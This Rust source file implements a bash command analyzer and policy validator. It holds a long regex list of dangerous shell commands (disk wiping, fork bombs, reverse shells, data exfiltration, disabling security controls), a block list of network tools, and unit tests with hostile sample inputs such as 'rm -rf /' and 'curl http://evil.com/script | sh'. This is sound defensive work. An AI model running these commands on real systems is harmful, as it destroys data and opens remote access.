1use std::collections::HashSet;
4use std::sync::LazyLock;
5
6use regex::Regex;
7use tree_sitter::{Language, Parser, Query, QueryCursor, StreamingIterator};
8
9static DANGEROUS_PATTERNS: LazyLock<Vec<(Regex, &'static str)>> = LazyLock::new(|| {
10 vec![
11 (Regex::new(r"rm\s+(-[rfRPd]+\s+)*/$").unwrap(), "rm root"),
13 (Regex::new(r"rm\s+(-[rfRPd]+\s+)*/\*").unwrap(), "rm /*"),
14 (Regex::new(r"rm\s+(-[rfRPd]+\s+)*\./\*").unwrap(), "rm ./*"),
15 (Regex::new(r"rm\s+(-[rfRPd]+\s+)*\.\./").unwrap(), "rm ../"),
16 (Regex::new(r"rm\s+(-[rfRPd]+\s+)*~/?").unwrap(), "rm home"),
17 (Regex::new(r"rm\s+(-[rfRPd]+\s+)*\.\s*$").unwrap(), "rm ."),
18 (
19 Regex::new(r"rm\s+(-[rfRPd]+\s+)*/\{").unwrap(),
20 "rm brace expansion",
21 ),
22 (
23 Regex::new(r"\b(sudo|doas)\s+rm\b").unwrap(),
24 "privileged rm",
25 ),
26 (
28 Regex::new(r"\bfind\s+/\s+.*-delete\b").unwrap(),
29 "find / -delete",
30 ),
31 (
32 Regex::new(r"\bfind\s+/\s+.*-exec\s+rm\b").unwrap(),
33 "find / -exec rm",
34 ),
35 (Regex::new(r"dd\s+.*if\s*=\s*/dev/zero").unwrap(), "dd zero"),
37 (
38 Regex::new(r"dd\s+.*of\s*=\s*/dev/[sh]d").unwrap(),
39 "dd disk",
40 ),
41 (Regex::new(r"\bmkfs(\.[a-z0-9]+)?\s").unwrap(), "mkfs"),
42 (Regex::new(r">\s*/dev/sd[a-z]").unwrap(), "overwrite disk"),
43 (Regex::new(r"\bfdisk\s+-[lw]").unwrap(), "fdisk"),
44 (Regex::new(r"\bparted\s").unwrap(), "parted"),
45 (Regex::new(r"\bwipefs\b").unwrap(), "wipefs"),
46 (Regex::new(r"shred\s+.*/dev/").unwrap(), "shred device"),
48 (
49 Regex::new(r"shred\s+(-[a-z]+\s+)*/$").unwrap(),
50 "shred root",
51 ),
52 (Regex::new(r"\bsrm\b").unwrap(), "secure-delete"),
53 (
55 Regex::new(r":\s*\(\s*\)\s*\{\s*:\s*\|\s*:\s*&\s*\}\s*;\s*:").unwrap(),
56 "fork bomb",
57 ),
58 (
59 Regex::new(r"while\s+true\s*;\s*do\s*:\s*done").unwrap(),
60 "infinite loop",
61 ),
62 (Regex::new(r"\bpkexec\b").unwrap(), "pkexec"),
64 (Regex::new(r"\bsu\s+-(\s|$|;|\|)").unwrap(), "su root"),
65 (Regex::new(r"\bsu\s+root\b").unwrap(), "su root explicit"),
66 (Regex::new(r"\bdoas\s+-s\b").unwrap(), "doas shell"),
67 (Regex::new(r"\bshutdown\b").unwrap(), "shutdown"),
69 (Regex::new(r"(^|[^a-z])reboot\b").unwrap(), "reboot"),
70 (Regex::new(r"\binit\s+[06]\b").unwrap(), "init halt"),
71 (
72 Regex::new(r"\bsystemctl\s+(halt|poweroff|reboot)\b").unwrap(),
73 "systemctl power",
74 ),
75 (Regex::new(r"\bhalt\b").unwrap(), "halt"),
76 (Regex::new(r"\bpoweroff\b").unwrap(), "poweroff"),
77 (
79 Regex::new(r"chmod\s+(-[a-zA-Z]+\s+)*[0-7]*[67][0-7]*\s+/").unwrap(),
80 "chmod world-writable",
81 ),
82 (Regex::new(r"chown\s+.*\s+/$").unwrap(), "chown root"),
83 (
84 Regex::new(r"\bchattr\s+\+i\s+/").unwrap(),
85 "chattr immutable",
86 ),
87 (Regex::new(r"\biptables\s+-F").unwrap(), "iptables flush"),
89 (Regex::new(r"\bufw\s+disable").unwrap(), "ufw disable"),
90 (
91 Regex::new(r"\bfirewall-cmd\s+.*--panic-on").unwrap(),
92 "firewall panic",
93 ),
94 (
96 Regex::new(r"(wget|curl)\s+[^|]*\|\s*(ba)?sh\b").unwrap(),
97 "remote exec",
98 ),
99 (Regex::new(r"\beval\s+.*\$\(").unwrap(), "eval subshell"),
100 (
102 Regex::new(r"\bkillall\s+-9\s+(init|systemd)").unwrap(),
103 "kill init",
104 ),
105 (Regex::new(r"\bkill\s+-9\s+-1\b").unwrap(), "kill all"),
106 (Regex::new(r"\bpkill\s+-9\s+-1\b").unwrap(), "pkill all"),
107 (Regex::new(r"history\s+-[cd]").unwrap(), "history clear"),
109 (
110 Regex::new(r"export\s+HISTFILE\s*=\s*/dev/null").unwrap(),
111 "disable history",
112 ),
113 (Regex::new(r"\bcrontab\s+-r\b").unwrap(), "crontab remove"),
115 (Regex::new(r"\bat\s+-d\b").unwrap(), "at remove"),
116 (
118 Regex::new(r"\bcryptsetup\s+luksFormat").unwrap(),
119 "luks format",
120 ),
121 (Regex::new(r"\bnmap\s+-sS").unwrap(), "nmap syn scan"),
123 (
125 Regex::new(r"bash\s+-i\s*>?\s*&\s*/dev/tcp/").unwrap(),
126 "bash reverse shell",
127 ),
128 (
129 Regex::new(r"exec\s+\d+<>/dev/tcp/").unwrap(),
130 "exec fd reverse shell",
131 ),
132 (Regex::new(r"exec\s+\d+<&\d+").unwrap(), "exec fd redirect"),
133 (
134 Regex::new(r"\bnc\s+(-[a-z]+\s+)*-e\s+/bin/(ba)?sh").unwrap(),
135 "nc reverse shell",
136 ),
137 (
138 Regex::new(r#"python[23]?\s+-c\s+["']import\s+(socket|pty)"#).unwrap(),
139 "python reverse shell",
140 ),
141 (
142 Regex::new(r#"perl\s+-e\s+["'].*socket.*exec"#).unwrap(),
143 "perl reverse shell",
144 ),
145 (
146 Regex::new(r"ruby\s+-rsocket\s+-e").unwrap(),
147 "ruby reverse shell",
148 ),
149 (
150 Regex::new(r#"php\s+-r\s+["'].*fsockopen"#).unwrap(),
151 "php reverse shell",
152 ),
153 (
154 Regex::new(r"\bmkfifo\s+.*\|\s*(nc|ncat)\b").unwrap(),
155 "fifo reverse shell",
156 ),
157 (Regex::new(r"\bsocat\s+.*exec:").unwrap(), "socat exec"),
158 (Regex::new(r"\binsmod\s").unwrap(), "insmod"),
160 (Regex::new(r"\bmodprobe\s").unwrap(), "modprobe"),
161 (Regex::new(r"\brmmod\s").unwrap(), "rmmod"),
162 (Regex::new(r"\bnsenter\s").unwrap(), "nsenter"),
164 (
165 Regex::new(r"\bunshare\s+.*--mount").unwrap(),
166 "unshare mount",
167 ),
168 (Regex::new(r"mount\s+-t\s+proc\b").unwrap(), "mount proc"),
169 (
170 Regex::new(r"mount\s+--bind\s+/").unwrap(),
171 "mount bind root",
172 ),
173 (Regex::new(r"\bsetenforce\s+0").unwrap(), "selinux disable"),
175 (Regex::new(r"\baa-disable\b").unwrap(), "apparmor disable"),
176 (Regex::new(r"\baa-teardown\b").unwrap(), "apparmor teardown"),
177 (Regex::new(r"\bgcore\s").unwrap(), "gcore dump"),
179 (Regex::new(r"cat\s+/proc/\d+/mem").unwrap(), "proc mem read"),
180 (
182 Regex::new(r"base64\s+.*\|\s*(curl|wget|nc)\b").unwrap(),
183 "base64 exfil",
184 ),
185 (
186 Regex::new(r"tar\s+[^|]*\|\s*(nc|curl|wget)\b").unwrap(),
187 "tar exfil",
188 ),
189 (
191 Regex::new(r"\bxargs\s+(-[^\s]+\s+)*rm\s+-rf").unwrap(),
192 "xargs rm -rf",
193 ),
194 (
196 Regex::new(r"\bchmod\s+[ugo]*\+s\b").unwrap(),
197 "chmod setuid/setgid",
198 ),
199 (
200 Regex::new(r"\bchmod\s+[0-7]*[4-7][0-7]{2}\b").unwrap(),
201 "chmod suid bits",
202 ),
203 (Regex::new(r"\bchroot\s").unwrap(), "chroot"),
205 (Regex::new(r"\bmount\s+--bind\b").unwrap(), "mount bind"),
207 (
208 Regex::new(r"\bmount\s+-o\s+\S*bind").unwrap(),
209 "mount -o bind",
210 ),
211 (
212 Regex::new(r"\bmount\s+-t\s+overlay\b").unwrap(),
213 "mount overlay",
214 ),
215 (Regex::new(r"\bumount\s+-l\b").unwrap(), "lazy umount"),
216 (
218 Regex::new(r"\biptables\s+-P\s+\S+\s+ACCEPT").unwrap(),
219 "iptables default accept",
220 ),
221 (
222 Regex::new(r"\bufw\s+default\s+allow").unwrap(),
223 "ufw default allow",
224 ),
225 (Regex::new(r"\bnft\s+flush\s+ruleset").unwrap(), "nft flush"),
226 (Regex::new(r"\bsysctl\s+-w\b").unwrap(), "sysctl write"),
228 (Regex::new(r">\s*/proc/sys/").unwrap(), "proc sys write"),
229 (Regex::new(r"\bstrace\s+-p\b").unwrap(), "strace attach"),
231 (Regex::new(r"\bltrace\s+-p\b").unwrap(), "ltrace attach"),
232 (Regex::new(r"\bptrace\b").unwrap(), "ptrace"),
233 (
235 Regex::new(r"\bulimit\s+-[nu]\s*0\b").unwrap(),
236 "ulimit zero",
237 ),
238 (Regex::new(r"\bsetcap\b").unwrap(), "setcap"),
240 (Regex::new(r"\bcapsh\b").unwrap(), "capsh"),
241 (Regex::new(r"\bkexec\b").unwrap(), "kexec"),
243 (Regex::new(r"\bpivot_root\b").unwrap(), "pivot_root"),
244 (Regex::new(r"\bswapoff\s+-a\b").unwrap(), "swapoff all"),
245 (
247 Regex::new(r#"\$'\\x[0-9a-fA-F]"#).unwrap(),
248 "hex encoded command",
249 ),
250 (
251 Regex::new(r"\bbase64\s+(-d|--decode)\b").unwrap(),
252 "base64 decode",
253 ),
254 (Regex::new(r"\bxxd\s+-r\b").unwrap(), "hex decode"),
255 (
256 Regex::new(r#"\bprintf\s+['"]\\x[0-9a-fA-F]"#).unwrap(),
257 "printf hex encode",
258 ),
259 (
261 Regex::new(r"\brm\s+--recursive\b").unwrap(),
262 "rm --recursive",
263 ),
264 (
265 Regex::new(r"\brm\s+.*--no-preserve-root\b").unwrap(),
266 "rm --no-preserve-root",
267 ),
268 (
269 Regex::new(r"\bchmod\s+[augo]*[+-][rwxst]+\s+/").unwrap(),
270 "chmod symbolic system path",
271 ),
272 (
273 Regex::new(r"\bfind\s+.*-exec\s+shred\b").unwrap(),
274 "find -exec shred",
275 ),
276 ]
277});
278
279fn bash_language() -> Language {
280 tree_sitter_bash::LANGUAGE.into()
281}
282
283#[derive(Debug, Clone, PartialEq, Eq)]
284pub enum SecurityConcern {
285 CommandSubstitution,
286 ProcessSubstitution,
287 EvalUsage,
288 RemoteExecution,
289 PrivilegeEscalation,
290 DangerousCommand(String),
291 VariableExpansion,
292 BacktickSubstitution,
293}
294
295#[derive(Debug, Clone)]
296pub struct ReferencedPath {
297 pub path: String,
298 pub context: PathContext,
299}
300
301#[derive(Debug, Clone, PartialEq, Eq)]
302pub enum PathContext {
303 Argument,
304 InputRedirect,
305 OutputRedirect,
306 HereDoc,
307}
308
309#[derive(Debug, Clone)]
310pub struct BashAnalysis {
311 pub paths: Vec<ReferencedPath>,
312 pub commands: Vec<String>,
313 pub env_vars: HashSet<String>,
314 pub concerns: Vec<SecurityConcern>,
315}
316
317impl BashAnalysis {
318 fn new() -> Self {
319 Self {
320 paths: Vec::new(),
321 commands: Vec::new(),
322 env_vars: HashSet::new(),
323 concerns: Vec::new(),
324 }
325 }
326}
327
328#[derive(Debug, Clone, Default)]
329pub struct BashPolicy {
330 pub allow_command_substitution: bool,
331 pub allow_process_substitution: bool,
332 pub allow_eval: bool,
333 pub allow_remote_exec: bool,
334 pub allow_privilege_escalation: bool,
335 pub allow_variable_expansion: bool,
336 pub blocked_commands: HashSet<String>,
337}
338
339impl BashPolicy {
340 pub fn strict() -> Self {
341 Self {
342 allow_command_substitution: false,
343 allow_process_substitution: false,
344 allow_eval: false,
345 allow_remote_exec: false,
346 allow_privilege_escalation: false,
347 allow_variable_expansion: false,
348 blocked_commands: Self::default_blocked_commands(),
349 }
350 }
351
352 pub fn permissive() -> Self {
353 Self {
354 allow_command_substitution: true,
355 allow_process_substitution: true,
356 allow_eval: true,
357 allow_remote_exec: true,
358 allow_privilege_escalation: true,
359 allow_variable_expansion: true,
360 blocked_commands: HashSet::new(),
361 }
362 }
363
364 pub fn default_blocked_commands() -> HashSet<String> {
365 [
366 "curl", "wget", "nc", "ncat", "netcat", "telnet", "ftp", "sftp", "scp", "rsync",
367 ]
368 .into_iter()
369 .map(String::from)
370 .collect()
371 }
372
373 pub fn blocked_commands(
374 mut self,
375 commands: impl IntoIterator<Item = impl Into<String>>,
376 ) -> Self {
377 self.blocked_commands = commands.into_iter().map(Into::into).collect();
378 self
379 }
380
381 pub fn is_command_blocked(&self, command: &str) -> bool {
382 let base_command = command.split_whitespace().next().unwrap_or(command);
383 self.blocked_commands.contains(base_command)
384 }
385
386 pub fn allows(&self, concern: &SecurityConcern) -> bool {
387 match concern {
388 SecurityConcern::CommandSubstitution | SecurityConcern::BacktickSubstitution => {
389 self.allow_command_substitution
390 }
391 SecurityConcern::ProcessSubstitution => self.allow_process_substitution,
392 SecurityConcern::EvalUsage => self.allow_eval,
393 SecurityConcern::RemoteExecution => self.allow_remote_exec,
394 SecurityConcern::PrivilegeEscalation => self.allow_privilege_escalation,
395 SecurityConcern::VariableExpansion => self.allow_variable_expansion,
396 SecurityConcern::DangerousCommand(_) => false,
397 }
398 }
399}
400
401#[derive(Clone)]
402pub struct BashAnalyzer {
403 policy: BashPolicy,
404}
405
406impl BashAnalyzer {
407 pub fn new(policy: BashPolicy) -> Self {
408 Self { policy }
409 }
410
411 pub fn analyze(&self, command: &str) -> BashAnalysis {
412 let mut analysis = BashAnalysis::new();
413
414 self.check_dangerous_patterns(command, &mut analysis);
415
416 let mut parser = Parser::new();
417 if parser.set_language(&bash_language()).is_err() {
418 self.fallback_analysis(command, &mut analysis);
419 return analysis;
420 }
421
422 let Some(tree) = parser.parse(command, None) else {
423 self.fallback_analysis(command, &mut analysis);
424 return analysis;
425 };
426
427 self.extract_paths_from_tree(&tree, command, &mut analysis);
428 self.extract_commands_from_tree(&tree, command, &mut analysis);
429 self.check_security_concerns(&tree, command, &mut analysis);
430
431 analysis
432 }
433
434 pub fn validate(&self, command: &str) -> Result<BashAnalysis, String> {
435 let analysis = self.analyze(command);
436
437 for cmd in &analysis.commands {
439 if self.policy.is_command_blocked(cmd) {
440 return Err(format!("Blocked command: {}", cmd));
441 }
442 }
443
444 for concern in &analysis.concerns {
445 if !self.policy.allows(concern) {
446 return Err(format!("Security concern: {:?}", concern));
447 }
448 }
449
450 Ok(analysis)
451 }
452
453 fn check_dangerous_patterns(&self, command: &str, analysis: &mut BashAnalysis) {
454 let normalized = Self::normalize_whitespace(command);
455 for (pattern, name) in DANGEROUS_PATTERNS.iter() {
456 if pattern.is_match(&normalized) {
457 analysis
458 .concerns
459 .push(SecurityConcern::DangerousCommand(name.to_string()));
460 }
461 }
462 }
463
464 fn normalize_whitespace(command: &str) -> String {
465 static WS_RE: LazyLock<Regex> = LazyLock::new(|| Regex::new(r"[ \t]+").unwrap());
466 WS_RE.replace_all(command.trim(), " ").to_string()
467 }
468
469 fn extract_paths_from_tree(
470 &self,
471 tree: &tree_sitter::Tree,
472 source: &str,
473 analysis: &mut BashAnalysis,
474 ) {
475 let query_str = r#"
476 (word) @arg
477 (file_redirect (word) @redirect_file)
478 (heredoc_redirect (heredoc_body) @heredoc)
479 "#;
480
481 if let Ok(query) = Query::new(&bash_language(), query_str) {
482 let mut cursor = QueryCursor::new();
483 let mut matches = cursor.matches(&query, tree.root_node(), source.as_bytes());
484 while let Some(m) = matches.next() {
485 for capture in m.captures {
486 let text = &source[capture.node.byte_range()];
487 if text.starts_with('/') && !text.starts_with("/dev/") {
488 let context = match capture.index {
489 1 => PathContext::InputRedirect,
490 2 => PathContext::HereDoc,
491 _ => PathContext::Argument,
492 };
493 analysis.paths.push(ReferencedPath {
494 path: text.to_string(),
495 context,
496 });
497 }
498 }
499 }
500 }
501
502 self.extract_redirect_paths(source, analysis);
503 }
504
505 fn extract_redirect_paths(&self, source: &str, analysis: &mut BashAnalysis) {
506 static REDIRECT_RE: LazyLock<Regex> =
507 LazyLock::new(|| Regex::new(r"[<>]&?\s*(/[^\s;&|]+)").unwrap());
508
509 for cap in REDIRECT_RE.captures_iter(source) {
510 if let Some(path_match) = cap.get(1) {
511 let path = path_match.as_str();
512 if !path.starts_with("/dev/") {
513 let context = if source[..cap.get(0).unwrap().start()].ends_with('<') {
514 PathContext::InputRedirect
515 } else {
516 PathContext::OutputRedirect
517 };
518 analysis.paths.push(ReferencedPath {
519 path: path.to_string(),
520 context,
521 });
522 }
523 }
524 }
525 }
526
527 fn extract_commands_from_tree(
528 &self,
529 tree: &tree_sitter::Tree,
530 source: &str,
531 analysis: &mut BashAnalysis,
532 ) {
533 let query_str = "(command name: (command_name) @cmd)";
534
535 if let Ok(query) = Query::new(&bash_language(), query_str) {
536 let mut cursor = QueryCursor::new();
537 let mut matches = cursor.matches(&query, tree.root_node(), source.as_bytes());
538 while let Some(m) = matches.next() {
539 for capture in m.captures {
540 let cmd = &source[capture.node.byte_range()];
541 analysis.commands.push(cmd.to_string());
542 }
543 }
544 }
545 }
546
547 fn check_security_concerns(
548 &self,
549 tree: &tree_sitter::Tree,
550 source: &str,
551 analysis: &mut BashAnalysis,
552 ) {
553 let query_str = r#"
554 (command_substitution) @cmd_sub
555 (process_substitution) @proc_sub
556 (expansion) @var_exp
557 (simple_expansion) @simple_exp
558 "#;
559
560 if let Ok(query) = Query::new(&bash_language(), query_str) {
561 let mut cursor = QueryCursor::new();
562 let mut matches = cursor.matches(&query, tree.root_node(), source.as_bytes());
563 while let Some(m) = matches.next() {
564 for capture in m.captures {
565 match capture.index {
566 0 => analysis.concerns.push(SecurityConcern::CommandSubstitution),
567 1 => analysis.concerns.push(SecurityConcern::ProcessSubstitution),
568 2 | 3 => {
569 let var_text = &source[capture.node.byte_range()];
570 analysis.env_vars.insert(var_text.to_string());
571 analysis.concerns.push(SecurityConcern::VariableExpansion);
572 }
573 _ => {}
574 }
575 }
576 }
577 }
578
579 if source.contains('`') {
581 analysis
582 .concerns
583 .push(SecurityConcern::BacktickSubstitution);
584 }
585
586 for cmd in &analysis.commands {
587 match cmd.as_str() {
588 "eval" | "source" | "." => analysis.concerns.push(SecurityConcern::EvalUsage),
589 "sudo" | "doas" | "pkexec" | "su" => {
590 analysis.concerns.push(SecurityConcern::PrivilegeEscalation)
591 }
592 _ => {}
593 }
594 }
595
596 self.check_remote_execution(source, analysis);
598 }
599
600 fn check_remote_execution(&self, source: &str, analysis: &mut BashAnalysis) {
601 static REMOTE_EXEC_RE: LazyLock<Regex> = LazyLock::new(|| {
602 Regex::new(r"(curl|wget)\s+[^|]*\|\s*(ba)?sh|env\s+bash|exec\s+bash").unwrap()
603 });
604 if REMOTE_EXEC_RE.is_match(source) {
605 analysis.concerns.push(SecurityConcern::RemoteExecution);
606 }
607 static PIPE_SHELL_RE: LazyLock<Regex> =
608 LazyLock::new(|| Regex::new(r"(curl|wget)\s[^|]*\|\s*\b(ba)?sh\b").unwrap());
609 if PIPE_SHELL_RE.is_match(source)
610 && !analysis
611 .concerns
612 .contains(&SecurityConcern::RemoteExecution)
613 {
614 analysis.concerns.push(SecurityConcern::RemoteExecution);
615 }
616 }
617
618 fn fallback_analysis(&self, command: &str, analysis: &mut BashAnalysis) {
619 static PATH_RE: LazyLock<Regex> =
620 LazyLock::new(|| Regex::new(r#"(?:^|[\s'"=])(/[^\s'";&|><$`\\]+)"#).unwrap());
621 static VAR_RE: LazyLock<Regex> =
622 LazyLock::new(|| Regex::new(r"\$\{?[a-zA-Z_][a-zA-Z0-9_]*\}?").unwrap());
623
624 for cap in PATH_RE.captures_iter(command) {
625 if let Some(path_match) = cap.get(1) {
626 let path = path_match.as_str();
627 if !path.starts_with("/dev/")
628 && !path.starts_with("/proc/")
629 && !path.starts_with("/sys/")
630 {
631 analysis.paths.push(ReferencedPath {
632 path: path.to_string(),
633 context: PathContext::Argument,
634 });
635 }
636 }
637 }
638
639 static CMD_RE: LazyLock<Regex> =
640 LazyLock::new(|| Regex::new(r"^(\w+)|[;&|]\s*(\w+)").unwrap());
641
642 for cap in CMD_RE.captures_iter(command) {
643 if let Some(cmd) = cap.get(1).or(cap.get(2)) {
644 analysis.commands.push(cmd.as_str().to_string());
645 }
646 }
647
648 if command.contains("$(") {
649 analysis.concerns.push(SecurityConcern::CommandSubstitution);
650 }
651 if command.contains('`') {
652 analysis
653 .concerns
654 .push(SecurityConcern::BacktickSubstitution);
655 }
656 if command.contains("<(") || command.contains(">(") {
657 analysis.concerns.push(SecurityConcern::ProcessSubstitution);
658 }
659
660 for cap in VAR_RE.captures_iter(command) {
661 if let Some(var_match) = cap.get(0) {
662 analysis.env_vars.insert(var_match.as_str().to_string());
663 if !analysis
664 .concerns
665 .contains(&SecurityConcern::VariableExpansion)
666 {
667 analysis.concerns.push(SecurityConcern::VariableExpansion);
668 }
669 }
670 }
671 }
672}
673
674impl Default for BashAnalyzer {
675 fn default() -> Self {
676 Self::new(BashPolicy::default())
677 }
678}
679
680#[cfg(test)]
681mod tests {
682 use super::*;
683
684 #[test]
685 fn test_dangerous_command_blocked() {
686 let analyzer = BashAnalyzer::default();
687 let analysis = analyzer.analyze("rm -rf /");
688 assert!(
689 analysis
690 .concerns
691 .iter()
692 .any(|c| matches!(c, SecurityConcern::DangerousCommand(_)))
693 );
694 }
695
696 #[test]
697 fn test_extract_paths() {
698 let analyzer = BashAnalyzer::default();
699 let analysis = analyzer.analyze("cat /etc/passwd && ls /home/user");
700 assert!(analysis.paths.iter().any(|p| p.path == "/etc/passwd"));
701 assert!(analysis.paths.iter().any(|p| p.path == "/home/user"));
702 }
703
704 #[test]
705 fn test_redirect_paths() {
706 let analyzer = BashAnalyzer::default();
707 let analysis = analyzer.analyze("echo test > /tmp/out.txt");
708 assert!(analysis.paths.iter().any(|p| p.path == "/tmp/out.txt"));
709 }
710
711 #[test]
712 fn test_input_redirect() {
713 let analyzer = BashAnalyzer::default();
714 let analysis = analyzer.analyze("cat < /etc/hosts");
715 assert!(analysis.paths.iter().any(|p| p.path == "/etc/hosts"));
716 }
717
718 #[test]
719 fn test_command_substitution_detected() {
720 let analyzer = BashAnalyzer::default();
721 let analysis = analyzer.analyze("echo $(cat /etc/passwd)");
722 assert!(
723 analysis
724 .concerns
725 .iter()
726 .any(|c| matches!(c, SecurityConcern::CommandSubstitution))
727 );
728 }
729
730 #[test]
731 fn test_process_substitution_detected() {
732 let analyzer = BashAnalyzer::default();
733 let analysis = analyzer.analyze("diff <(ls /a) <(ls /b)");
734 assert!(
735 analysis
736 .concerns
737 .iter()
738 .any(|c| matches!(c, SecurityConcern::ProcessSubstitution))
739 );
740 }
741
742 #[test]
743 fn test_privilege_escalation_detected() {
744 let analyzer = BashAnalyzer::default();
745 let analysis = analyzer.analyze("sudo apt update");
746 assert!(
747 analysis
748 .concerns
749 .iter()
750 .any(|c| matches!(c, SecurityConcern::PrivilegeEscalation))
751 );
752 }
753
754 #[test]
755 fn test_remote_exec_detected() {
756 let analyzer = BashAnalyzer::default();
757 let analysis = analyzer.analyze("curl http://evil.com/script | sh");
758 assert!(
759 analysis
760 .concerns
761 .iter()
762 .any(|c| matches!(c, SecurityConcern::RemoteExecution))
763 );
764 }
765
766 #[test]
767 fn test_policy_validation() {
768 let analyzer = BashAnalyzer::new(BashPolicy::strict());
769 let result = analyzer.validate("echo $(whoami)");
770 assert!(result.is_err());
771 }
772
773 #[test]
774 fn test_safe_command() {
775 let analyzer = BashAnalyzer::new(BashPolicy::default());
776 let analysis = analyzer.analyze("echo hello world");
777 assert!(analysis.concerns.is_empty());
778 }
779
780 #[test]
781 fn test_fork_bomb_detected() {
782 let analyzer = BashAnalyzer::default();
783 let analysis = analyzer.analyze(":(){:|:&};:");
784 assert!(
785 analysis
786 .concerns
787 .iter()
788 .any(|c| matches!(c, SecurityConcern::DangerousCommand(_)))
789 );
790 }
791
792 #[test]
793 fn test_variable_expansion_detected() {
794 let analyzer = BashAnalyzer::default();
795 let analysis = analyzer.analyze("cat $HOME/.bashrc");
796 assert!(
797 analysis
798 .concerns
799 .iter()
800 .any(|c| matches!(c, SecurityConcern::VariableExpansion))
801 );
802 assert!(analysis.env_vars.contains("$HOME"));
803 }
804
805 #[test]
806 fn test_backtick_substitution_detected() {
807 let analyzer = BashAnalyzer::default();
808 let analysis = analyzer.analyze("echo `whoami`");
809 assert!(
810 analysis
811 .concerns
812 .iter()
813 .any(|c| matches!(c, SecurityConcern::BacktickSubstitution))
814 );
815 }
816
817 #[test]
818 fn test_source_command_detected() {
819 let analyzer = BashAnalyzer::default();
820 let analysis = analyzer.analyze("source /etc/profile");
821 assert!(
822 analysis
823 .concerns
824 .iter()
825 .any(|c| matches!(c, SecurityConcern::EvalUsage))
826 );
827 }
828}